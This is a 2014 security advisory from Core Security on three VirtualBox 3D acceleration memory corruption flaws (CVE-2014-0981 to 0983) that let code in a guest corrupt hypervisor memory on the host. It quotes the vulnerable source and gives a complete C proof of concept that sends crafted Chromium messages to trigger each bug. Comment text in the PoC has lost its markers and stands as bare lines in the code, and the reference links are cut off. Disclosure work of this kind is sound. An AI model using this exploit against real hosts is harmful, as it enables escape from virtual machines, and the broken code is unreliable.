Oracle VirtualBox 3D Acceleration Multiple Memory Corruption Vulnerabilities
1. *Advisory Information*
Title: Oracle VirtualBox 3D Acceleration Multiple Memory Corruption
Vulnerabilities
Advisory ID: CORE-2014-0002
Advisory URL:
http:
Date published: 2014-03-11
Date of last update: 2014-03-11
Vendors contacted: Oracle
Release mode: User release
2. *Vulnerability Information*
Class: Improper Validation of Array Index [CWE-129], Improper Validation
of Array Index [CWE-129], Improper Validation of Array Index [CWE-129]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0981, CVE-2014-0982, CVE-2014-0983
3. *Vulnerability Description*
VirtualBox is a general-purpose full virtualizer for x86 hardware,
targeted at server, desktop and embedded use.
VirtualBox provides -among many other features- 3D Acceleration for
guest machines
through its Guest Additions. This feature allows guest machines to use
the host machine's
GPU to render 3D graphics based on then OpenGL or Direct3D APIs.
Multiple memory corruption vulnerabilities have been found in the code
that implements
3D Acceleration for OpenGL graphics in Oracle VirtualBox.
These vulnerabilities could allow an attacker who is already running
code within
a Guest OS to escape from the virtual machine and execute arbitrary code
on the Host OS.
4. *Vulnerable packages*
. Oracle VirtualBox v4.2.20 and earlier.
. Oracle VirtualBox v4.3.6 and earlier.
. Other versions may be affected too but they were no checked.
5. *Non-vulnerable packages*
. Oracle VirtualBox v4.3.8.
6. *Credits*
This vulnerability was discovered and researched by Francisco Falcon from
Core Exploit Writers Team. The publication of this advisory was coordinated
by Andres Blanco from Core Advisories Team.
7. *Technical Description / Proof of Concept Code*
VirtualBox makes use of the *Chromium*[1] open-source library
(not to be confused with the open-source web browser) in order to
provide 3D Acceleration for OpenGL graphics.
Chromium provides remote rendering of OpenGL graphics through a
client/server model, in which
a client (i.e. an OpenGL application) delegates the rendering to the
server, which has access
to 3D-capable hardware.
When 3D Acceleration is enabled in VirtualBox, OpenGL apps running
within a Guest OS
(acting as Chromium clients) will send rendering commands to the
Chromium server, which is
running in the context of the hypervisor in the Host OS.
The code that handles OpenGL rendering commands on the Host side is
prone to multiple memory
corruption vulnerabilities, as described below.
7.1. *VirtualBox crNetRecvReadback Memory Corruption Vulnerability*
[CVE-2014-0981] The first vulnerability is caused by a *design flaw* in
Chromium. The Chromium server makes use
of "*network pointers*". As defined in Chromium's documentation,
'"Network pointers are
simply memory addresses that reside on another machine.[...] The
networking layer will then
take care of writing the payload data to the specified address."'[2]
So the Chromium's server code, which runs in the context of the
VirtualBox hypervisor
in the Host OS, provides a write-what-where memory corruption primitive
*by design*, which
can be exploited to corrupt arbitrary memory addresses with arbitrary
data in the hypervisor process
from within a virtual machine.
This is the code of the vulnerable function [file
'src/VBox/GuestHost/OpenGL/util/net.c'], which can
be reached by sending a 'CR_MESSAGE_READBACK' message to the
'VBoxSharedCrOpenGL' service:
/-----
static void
crNetRecvReadback( CRMessageReadback *rb, unsigned int len )
{
int payload_len = len - sizeof( *rb );
int *writeback;
void *dest_ptr;
crMemcpy( &writeback, &(rb->writeback_ptr), sizeof( writeback ) );
crMemcpy( &dest_ptr, &(rb->readback_ptr), sizeof( dest_ptr ) );
(*writeback)--;
crMemcpy( dest_ptr, ((char *)rb) + sizeof(*rb), payload_len );
}
-----/
Note that 'rb' points to a 'CRMessageReadback' structure, which is fully
controlled by the
application running inside a VM that is sending OpenGL rendering
commands to the Host side.
The 'len' parameter is also fully controlled from the Guest side, so
it's possible to:
1. decrement the value stored at any memory address within the
address space of the hypervisor.
2. write any data to any memory address within the address space of
the hypervisor.
7.2. *VirtualBox crNetRecvWriteback Memory Corruption Vulnerability*
[CVE-2014-0982] The second vulnerability is closely related to the first
one, and it's also caused by Chromium's
"*network pointers*".
This is the code of the vulnerable function [file
'src/VBox/GuestHost/OpenGL/util/net.c'], which can
be reached by sending a 'CR_MESSAGE_WRITEBACK' message to the
'VBoxSharedCrOpenGL' service:
/-----
static void
crNetRecvWriteback( CRMessageWriteback *wb )
{
int *writeback;
crMemcpy( &writeback, &(wb->writeback_ptr), sizeof( writeback ) );
(*writeback)--;
}
-----/
Note that 'rb' points to a 'CRMessageWriteback' structure, which is
fully controlled by the
application running inside a VM that is sending OpenGL rendering
commands to the Host side, so it's possible to
decrement the value stored at any memory address within the address
space of the hypervisor.
7.3. *VirtualBox crServerDispatchVertexAttrib4NubARB Memory Corruption
Vulnerability*
[CVE-2014-0983] When an OpenGL application running inside a VM sends
rendering commands (in the form of opcodes + data for those opcodes)
through
a 'CR_MESSAGE_OPCODES' message, the Chromium server will handle them in
the 'crUnpack' function.
The code for the 'crUnpack' function is automatically generated by the
Python script located
at 'src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py'.
This function is basically a big switch statement dispatching different
functions according to the opcode being processed:
/-----
void crUnpack( const void *data, const void *opcodes,
unsigned int num_opcodes, SPUDispatchTable *table )
{
[...]
unpack_opcodes = (const unsigned char *)opcodes;
cr_unpackData = (const unsigned char *)data;
for (i = 0 ; i < num_opcodes ; i++)
{
switch( *unpack_opcodes )
{
case CR_ALPHAFUNC_OPCODE: crUnpackAlphaFunc(); break;
case CR_ARRAYELEMENT_OPCODE: crUnpackArrayElement(); break;
case CR_BEGIN_OPCODE: crUnpackBegin(); break;
[...]
-----/
When the opcode being processed is 'CR_VERTEXATTRIB4NUBARB_OPCODE'
('0xEA'),
the function to be invoked is 'crUnpackVertexAttrib4NubARB':
/-----
[...]
case CR_VERTEXATTRIB4NUBARB_OPCODE: crUnpackVertexAttrib4NubARB();
break;
[...]
-----/
The 'crUnpackVertexAttrib4NubARB' function reads 5 values from the
opcode data sent by the Chromium client,
and just invokes 'cr_unpackDispatch.VertexAttrib4NubARB' with those 5
values as arguments:
/-----
static void crUnpackVertexAttrib4NubARB(void)
{
GLuint index = READ_DATA( 0, GLuint );
GLubyte x = READ_DATA( 4, GLubyte );
GLubyte y = READ_DATA( 5, GLubyte );
GLubyte z = READ_DATA( 6, GLubyte );
GLubyte w = READ_DATA( 7, GLubyte );
cr_unpackDispatch.VertexAttrib4NubARB( index, x, y, z, w );
INCR_DATA_PTR( 8 );
}
-----/
'VertexAttrib4NubARB' is a function pointer in a dispatch table, and
points to the function
'crServerDispatchVertexAttrib4NubARB', whose code is generated by the
Python script located at
'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py':
/-----
void SERVER_DISPATCH_APIENTRY crServerDispatchVertexAttrib4NubARB(
GLuint index, GLubyte x, GLubyte y, GLubyte z, GLubyte w )
{
cr_server.head_spu->dispatch_table.VertexAttrib4NubARB( index, x, y,
z, w );
cr_server.current.c.vertexAttrib.ub4[index] = cr_unpackData;
}
-----/
Note that the 'index' parameter, which is a 4-byte integer coming from
an untrusted source (the opcode data
sent by the Chromium client from the VM), is used as an index within the
'cr_server.current.c.vertexAttrib.ub4'
array in order to write 'cr_unpackData' (which is a pointer to the
attacker-controlled opcode data), without
validating that the index is within the bounds of the array.
This issue can be leveraged to corrupt arbitrary memory with a pointer
to attacker-controlled data.
Also note that *the same vulnerability affects several functions* whose
code is generated by the
'src/VBox/HostServices/SharedOpenGL/crserverlib/server_dispatch.py'
Python script:
/-----
Opcode CR_VERTEXATTRIB1DARB_OPCODE [0xDE] -> function
crServerDispatchVertexAttrib1dARB
Opcode CR_VERTEXATTRIB1FARB_OPCODE [0xDF] -> function
crServerDispatchVertexAttrib1fARB
Opcode CR_VERTEXATTRIB1SARB_OPCODE [0xE0] -> function
crServerDispatchVertexAttrib1sARB
Opcode CR_VERTEXATTRIB2DARB_OPCODE [0xE1] -> function
crServerDispatchVertexAttrib2dARB
Opcode CR_VERTEXATTRIB2FARB_OPCODE [0xE2] -> function
crServerDispatchVertexAttrib2fARB
Opcode CR_VERTEXATTRIB2SARB_OPCODE [0xE3] -> function
crServerDispatchVertexAttrib2sARB
Opcode CR_VERTEXATTRIB3DARB_OPCODE [0xE4] -> function
crServerDispatchVertexAttrib3dARB
Opcode CR_VERTEXATTRIB3FARB_OPCODE [0xE5] -> function
crServerDispatchVertexAttrib3fARB
Opcode CR_VERTEXATTRIB3SARB_OPCODE [0xE6] -> function
crServerDispatchVertexAttrib3sARB
Opcode CR_VERTEXATTRIB4NUBARB_OPCODE [0xEA] -> function
crServerDispatchVertexAttrib4NubARB
Opcode CR_VERTEXATTRIB4DARB_OPCODE [0xEF] -> function
crServerDispatchVertexAttrib4dARB
Opcode CR_VERTEXATTRIB4FARB_OPCODE [0xF0] -> function
crServerDispatchVertexAttrib4fARB
Opcode CR_VERTEXATTRIB4SARB_OPCODE [0xF2] -> function
crServerDispatchVertexAttrib4sARB
-----/
7.4. *Proof of Concept*
/-----
#include "stdafx.h"
#include <windows.h>
#include "vboxguest2.h"
#include "vboxguest.h"
#include "err.h"
#include "vboxcropenglsvc.h"
#include "cr_protocol.h"
#define VBOXGUEST_DEVICE_NAME "\\\\.\\VBoxGuest"
HANDLE open_device(){
HANDLE hDevice = CreateFile(VBOXGUEST_DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE){
printf("[-] Could not open device %s .\n", VBOXGUEST_DEVICE_NAME);
exit(EXIT_FAILURE);
}
printf("[+] Handle to %s: 0x%X\n", VBOXGUEST_DEVICE_NAME, hDevice);
return hDevice;
}
uint32_t do_connect(HANDLE hDevice){
VBoxGuestHGCMConnectInfo info;
DWORD cbReturned = 0;
BOOL rc;
memset(&info, 0, sizeof(info));
info.Loc.type = VMMDevHGCMLoc_LocalHost_Existing;
strcpy(info.Loc.u.host.achName, "VBoxSharedCrOpenGL");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CONNECT, &info,
sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function do_connect()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM connect was successful: client id =0x%x\n",
info.u32ClientID);
}
else{
printf("[-] HGCM connect failed. Result: %d (Is 3D Acceleration
enabled??)\n", info.result);
exit(EXIT_FAILURE);
}
return info.u32ClientID;
}
void do_disconnect(HANDLE hDevice, uint32_t u32ClientID){
BOOL rc;
VBoxGuestHGCMDisconnectInfo info;
DWORD cbReturned = 0;
memset(&info, 0, sizeof(info));
info.u32ClientID = u32ClientID;
printf("Sending VBOXGUEST_IOCTL_HGCM_DISCONNECT message...\n");
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_DISCONNECT,
&info, sizeof(info), &info, sizeof(info), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
do_disconnect()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (info.result == VINF_SUCCESS){
printf("HGCM disconnect was successful.\n");
}
else{
printf("[-] HGCM disconnect failed. Result: %d\n", info.result);
exit(EXIT_FAILURE);
}
}
void set_version(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMSETVERSION parms;
DWORD cbReturned = 0;
BOOL rc;
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_VERSION;
parms.hdr.cParms = SHCRGL_CPARMS_SET_VERSION;
parms.vMajor.type = VMMDevHGCMParmType_32bit;
parms.vMajor.u.value32 = CR_PROTOCOL_VERSION_MAJOR;
parms.vMinor.type = VMMDevHGCMParmType_32bit;
parms.vMinor.u.value32 = CR_PROTOCOL_VERSION_MINOR;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function set_version()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("Host didn't accept our version.\n");
exit(EXIT_FAILURE);
}
}
void set_pid(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMSETPID parms;
DWORD cbReturned = 0;
BOOL rc;
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_SET_PID;
parms.hdr.cParms = SHCRGL_CPARMS_SET_PID;
parms.u64PID.type = VMMDevHGCMParmType_64bit;
parms.u64PID.u.value64 = GetCurrentProcessId();
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function set_pid()!
LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("Host didn't like our PID %d\n", GetCurrentProcessId());
exit(EXIT_FAILURE);
}
}
void trigger_message_readback(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
char mybuf[1024];
CRMessageReadback msg;
memset(&msg, 0, sizeof(msg));
msg.header.type = CR_MESSAGE_READBACK;
msg.header.conn_id = 0x8899;
*((DWORD *)&msg.writeback_ptr.ptrSize) = 0x88888888;
*((DWORD *)&msg.readback_ptr.ptrSize) = 0x99999999;
memcpy(&mybuf, &msg, sizeof(msg));
strcpy(mybuf + sizeof(msg), "Hi hypervisor!");
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
memcpy: sizeof(mybuf) - 0x18
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_message_readback()!. LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
void trigger_message_writeback(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
DWORD cbReturned = 0;
BOOL rc;
char mybuf[512];
CRMessage msg;
memset(&mybuf, 0, sizeof(mybuf));
memset(&msg, 0, sizeof(msg));
msg.writeback.header.type = CR_MESSAGE_WRITEBACK;
msg.writeback.header.conn_id = 0x8899;
*((DWORD *)msg.writeback.writeback_ptr.ptrSize) = 0xAABBCCDD;
memcpy(&mybuf, &msg, sizeof(msg));
strcpy(mybuf + sizeof(msg), "dummy");
memset(&parms, 0, sizeof(parms));
parms.hdr.result = VERR_WRONG_ORDER;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_message_writeback()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
void trigger_opcode_0xea(HANDLE hDevice, uint32_t u32ClientID){
CRVBOXHGCMINJECT parms;
char mybuf[0x10f0];
DWORD cbReturned = 0;
BOOL rc;
unsigned char opcodes[] = {0xFF, 0xea, 0x02, 0xf7};
DWORD opcode_data[] =
{0x08,
after executing opcode 0xF7, subopcode 0x30
0x30,
0x331,
0xFFFCFA4B,
negative index used to trigger the memory corruption
0x41414141};
CRMessageOpcodes msg_opcodes;
memset(&mybuf, 0, sizeof(mybuf));
memset(&msg_opcodes, 0, sizeof(msg_opcodes));
msg_opcodes.header.conn_id = 0x8899;
msg_opcodes.header.type = CR_MESSAGE_OPCODES;
msg_opcodes.numOpcodes = sizeof(opcodes);
char *offset = (char *)&mybuf;
memcpy(offset, &msg_opcodes, sizeof(msg_opcodes));
offset += sizeof(msg_opcodes);
memcpy(offset, &opcodes, sizeof(opcodes));
offset += sizeof(opcodes);
memcpy(offset, &opcode_data, sizeof(opcode_data));
offset += sizeof(opcode_data);
memset(&parms, 0, sizeof(parms));
parms.hdr.result = 0;
parms.hdr.u32ClientID = u32ClientID;
parms.hdr.u32Function = SHCRGL_GUEST_FN_INJECT;
parms.hdr.cParms = SHCRGL_CPARMS_INJECT;
parms.u32ClientID.type = VMMDevHGCMParmType_32bit;
parms.u32ClientID.u.value32 = u32ClientID;
parms.pBuffer.type = VMMDevHGCMParmType_LinAddr_In;
parms.pBuffer.u.Pointer.size = sizeof(mybuf);
parms.pBuffer.u.Pointer.u.linearAddr = (uintptr_t) mybuf;
rc = DeviceIoControl(hDevice, VBOXGUEST_IOCTL_HGCM_CALL, &parms,
sizeof(parms), &parms, sizeof(parms), &cbReturned, NULL);
if (!rc){
printf("ERROR: DeviceIoControl failed in function
trigger_opcode_0xea()! LastError: %d\n", GetLastError());
exit(EXIT_FAILURE);
}
if (parms.hdr.result == VINF_SUCCESS){
printf("HGCM Call successful. cbReturned: 0x%X.\n", cbReturned);
}
else{
printf("HGCM Call failed. Result: %d\n", parms.hdr.result);
exit(EXIT_FAILURE);
}
}
void poc(int option){
HANDLE hDevice;
uint32_t u32ClientID;
hDevice = open_device();
u32ClientID = do_connect(hDevice);
set_version(hDevice, u32ClientID);
set_pid(hDevice, u32ClientID);
switch (option){
case 1:
printf("[1] triggering the first bug...\n");
trigger_message_readback(hDevice, u32ClientID);
break;
case 2:
printf("[2] triggering the second bug...\n");
trigger_message_writeback(hDevice, u32ClientID);
break;
case 3:
printf("[3] triggering the third bug...\n");
trigger_opcode_0xea(hDevice, u32ClientID);
break;
default:
printf("[!] Unknown option %d.\n", option);
}
do_disconnect(hDevice, u32ClientID);
CloseHandle(hDevice);
}
int main(int argc, char* argv[])
{
if (argc < 2){
printf("Usage: %s <option number>\n\n", argv[0]);
printf("* Option 1: trigger the vulnerability in the
crNetRecvReadback function.\n");
printf("* Option 2: trigger the vulnerability in the
crNetRecvWriteback function.\n");
printf("* Option 3: trigger the vulnerability in the
crServerDispatchVertexAttrib4NubARB function.\n");
exit(1);
}
poc(atoi(argv[1]));
}
-----/
8. *Report Timeline*
. 2014-02-11:
Core Security Technologies notifies the VirtualBox team of the
vulnerability.
Publication date is set for March 4th, 2014.
. 2014-02-12:
Vendor acknowledges the receipt of the information. Vendor asks to
coordinate
the release for April 15, 2014 which is the earliest possible date for
publishing
this issue from Oracle.
. 2014-02-12:
Core schedules the advisory publication for April 15, 2014 and asks
for regular status reports.
. 2014-03-04:
First release date missed.
. 2014-03-07:
Vendor releases fixes of some affected versions [3][4].
. 2014-03-07:
Core notifies that, given that some patches were disclosed,
the advisory will we released as user release ASAP.
. 2014-03-07:
Vendor asks for delaying the advisory publication given that
some versions are still vulnerable.
. 2014-03-10:
Core notifies that the advisory is going to be published because
once the fixes have been made public the vulnerability is public as well.
. 2014-03-10:
Vendor notifies that they will not include credit to Core researchers
given that the advisory is being published before a fix is available to
all affected versions.
. 2014-03-11:
Advisory CORE-2014-0002 published as user release.
9. *References*
[1] http:
[2] http:
[3] https:
[4] https:
